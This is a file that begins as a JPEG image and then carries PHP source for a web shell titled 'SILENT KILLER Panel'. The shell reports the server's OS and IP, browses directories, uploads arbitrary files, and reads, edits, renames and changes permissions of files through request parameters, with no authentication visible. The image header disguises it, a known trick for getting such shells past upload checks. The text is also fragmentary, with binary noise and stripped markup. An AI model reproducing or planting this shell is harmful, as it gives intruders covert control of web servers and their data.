���� JFIF �� �
"" $(4,$&1'-=-157:::#+?D?8C49:7
7%%77777777777777777777777777777777777777777777777777�� { �" �� �� 5 !1AQa"q�2��BR��#b������� �� �� ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp�
����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Æï¿½ï¿½Ü¯sO"B�c>;
�e�4��5�k��/CB��.
�J?��;�҈�������������������~�<�VZ�ê¼2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA׾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��SILENT KILLERPanel
";
// Show breadcrumb navigation (Clickable Path)
$path_parts = explode(DIRECTORY_SEPARATOR, $currentDir);
$breadcrumb = '';
$breadcrumbPath = '';
foreach ($path_parts as $i => $part) {
$breadcrumbPath .= $part . DIRECTORY_SEPARATOR;
$breadcrumb .= "$part";
if ($i < count($path_parts) - 1) {
$breadcrumb .= ' > ';
}
}
echo "
Current Path: $breadcrumb
"; // Handle file upload if ($_FILES && isset($_FILES['file'])) { // Set the target directory to the current directory $targetDir = $currentDir; // Current directory for the upload $target = $targetDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); // Full path // Check if the file is uploaded successfully if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "✅ Uploaded: $target
"; } else { echo "❌ Upload failed.
"; } } // Upload form echo <<Operation : $osInfo Software : Apache Server IP : $serverIp | Your IP: $clientIp Domains : $domainsCount Domain(s) Permission : [ $currentDirPermissions ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| $folder | Directory | - | - | |
| $file | File | $size bytes | $time |
❌ Directory not found.
"; } // Command handler for reading a file (displaying file content) if (isset($_GET['cmd']) && $_GET['cmd'] == 'file_read' && isset($_GET['file']) && isset($_GET['dir'])) { $file = $_GET['file']; $currentDir = $_GET['dir']; // Make sure to retain the current directory if (is_file($file)) { $fileContent = htmlspecialchars(file_get_contents($file)); echo "$fileContent
❌ File not found.
"; } } // Command handler for renaming a file if (isset($_POST['cmd']) && $_POST['cmd'] == 'rename' && isset($_POST['file'])) { $file = $_POST['file']; if (isset($_POST['new_name']) && $_POST['new_name'] != '') { $new_name = $_POST['new_name']; $new_path = dirname($file) . DIRECTORY_SEPARATOR . $new_name; if (rename($file, $new_path)) { echo "✅ File renamed to $new_name.
"; // Redirect back to the same directory to show updated list header("Location: ?dir=" . urlencode(dirname($file))); exit; } else { echo "❌ Rename failed.
"; } } else { echo "✅ Permissions changed to $permissions.
"; // Redirect back to the same directory to show updated list header("Location: ?dir=" . urlencode(dirname($file))); exit; } else { echo "❌ Failed to change permissions.
"; } } else { $currentPermissions = substr(sprintf('%o', fileperms($file)), -4); echo "✅ File content updated.
"; // After saving, show the updated content $fileContent = htmlspecialchars(file_get_contents($file)); echo "$fileContent
❌ Failed to update file.
"; } } else { $current_content = htmlspecialchars(file_get_contents($file)); echo "SILENT KILLER Tool
"; ?>